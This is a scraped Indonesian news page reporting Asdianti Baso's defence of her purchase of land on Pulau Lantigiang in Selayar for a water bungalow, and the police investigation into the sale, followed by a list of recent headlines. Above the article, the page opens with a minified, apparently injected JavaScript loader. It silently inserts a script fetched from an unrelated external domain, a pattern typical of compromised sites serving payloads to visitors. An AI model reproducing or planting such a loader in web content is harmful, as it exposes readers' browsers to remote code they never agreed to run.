(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
NASIONAL

Beli Tanah di Pulau Lantigiang, Asdianti : Saya Ingin Bangun Water Bungalow


KANALKALIMANTAN.COM – Pembeli tanah Pulau Lantigiang di Kabupaten Selayar, Asdianti Baso membeberkan alasannya membeli lahan di pulau tersebut. Ia mengaku pulau tersebut indah, sayang jika tidak dimanfaatkan.

“Percuma the tour biggest in the world kalau tidak dimanfaatkan. Saya ingin bangun Water Bungalow,” kata Asdianti di Hotel Melia Makassar, Rabu (3/2/2021).

Asdianti bilang membeli lahan di pulau itu karena penjual memiliki surat kepemilikan tanah. Ia juga mengaku sudah meminta ke pemerintah untuk mengelola pulau tersebut 70 persen. 30 persen untuk umum.

“Saya juga hanya beli 4 hektare. Saya tahu karena sudah 10 tahun di dunia properti. Saya tahu pulau itu tidak boleh diperjualbelikan,” tambahnya.

Ia bersikukuh tak membeli pulau tersebut. Ia mengaku hanya membeli tanah di atas pulau itu.

“Kalau memang pulau, batas-batasnya itu pasti sebelah kiri laut, kanan laut, kelilingnya laut. Tapi ini kan sebelah kanan tanah kosong. Saya tidak beli pulau, saya beli lahan kebun,” jelasnya.

Ia mengaku heran, Balai Taman Nasional baru mempersoalkan hal ini. Padahal sebelumnya, di tahun 2017 balai sendiri yang menyarankan Pulau Lantigiang, Pulau Belang-Belang dan Pulau lain untuk dibanguni.

“Tapi saya tertarik hanya Lantigiang dan Latondu Besar. Pihak Balai sendiri menyarankan untuk membangun pada zona pemanfaatan. Karena di dalam kawasan terdapat zona-zona yang berbeda. Zona inti yang tidak bisa dibangun sama sekali,” jelasnya lagi.

Asdianti mengaku pernah menggugat Taman Nasional Takabonerate ke PTUN Makassar dan dikabulkan pada 25 Januari lalu.

Kapolres Selayar AKBP Temmangnganro Machmud mengatakan pihaknya sudah menaikkan kasus ini ke tahap penyidikan.

Saat ini sudah ada 12 orang saksi yang diambil keterangannya. Mulai dari warga, keluarga penjual, pembeli, hingga pemerintah desa setempat.

“Keterangan seluruh saksi dibutuhkan untuk melengkapi berkas perkara. Pembeli, penjual dan kepala desa yang punya surat segera kita panggil,” ujarnya.

Adapun pasal yang dipersangkakan, kata Temmangnganro, yakni Pasal 266 KUHP dan Pasal 40 Ayat (2) juncto Pasal 33 Ayat (3) UU No 5 Tahun 1990 tentang Konservasi Sumber Daya Alam Hayati dan Ekosistem. (Suara)

Editor : Suara 

 

 

 


Al Ghifari

Recent Posts

Ini Penyebab Utama Crossing Drainase di Karang Anyar 1 Sering Berlubang

KANALKALIMANTAN.COM, BANJARBARU - Penyebab jalan berlubang yang kerap muncul di Jalan Karang Anyar 1 Kelurahan… Read More

2 jam ago

Kicau Mania Ramaikan Kapolresta Banjarmasin Cup 2024

KANALKALIMANTAN.COM, BANJARMASIN - Kepolisian Resor (Polres) Kota Banjarmasin menggelar lomba Burung Berkicau, Minggu (19/5/2024) siang,… Read More

15 jam ago

Pastikan Listrik Tanpa Kedip KTT WWF 2024 Bali

KANALKALIMANTAN.COM, DENPASAR - PT PLN (Persero) siap menghadirkan listrik yang andal untuk mendukung penyelenggaraan Konferensi… Read More

16 jam ago

Santri TK Al Quran di Kabupaten Banjar Ikuti Munaqasah

KANALKALIMANTAN.COM, MARTAPURA -  Santri TK Al Quran se-Kabupaten Banjar mengikuti Munaqasah yang digelar Badan Komunikasi… Read More

17 jam ago

Jelang Pilwali Banjarbaru, Nurkhalis: Masih Lihat Peta Peluang Koalisi

KANALKALIMANTAN.COM, BANJARBARU - Peta koalisi partai politik jelang Pilkada 2024 di Kota Banjarbaru Kalimantan Selatan… Read More

18 jam ago

Daftar Bareng Aditya-Yuti, Koalisi “AYUHA” PPP-Gerindra di Pilwali Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - Teka-teki maju atau tidaknya Aditya Mufti Ariffin mulai terjawab, bahkan siapa calon… Read More

20 jam ago

This website uses cookies.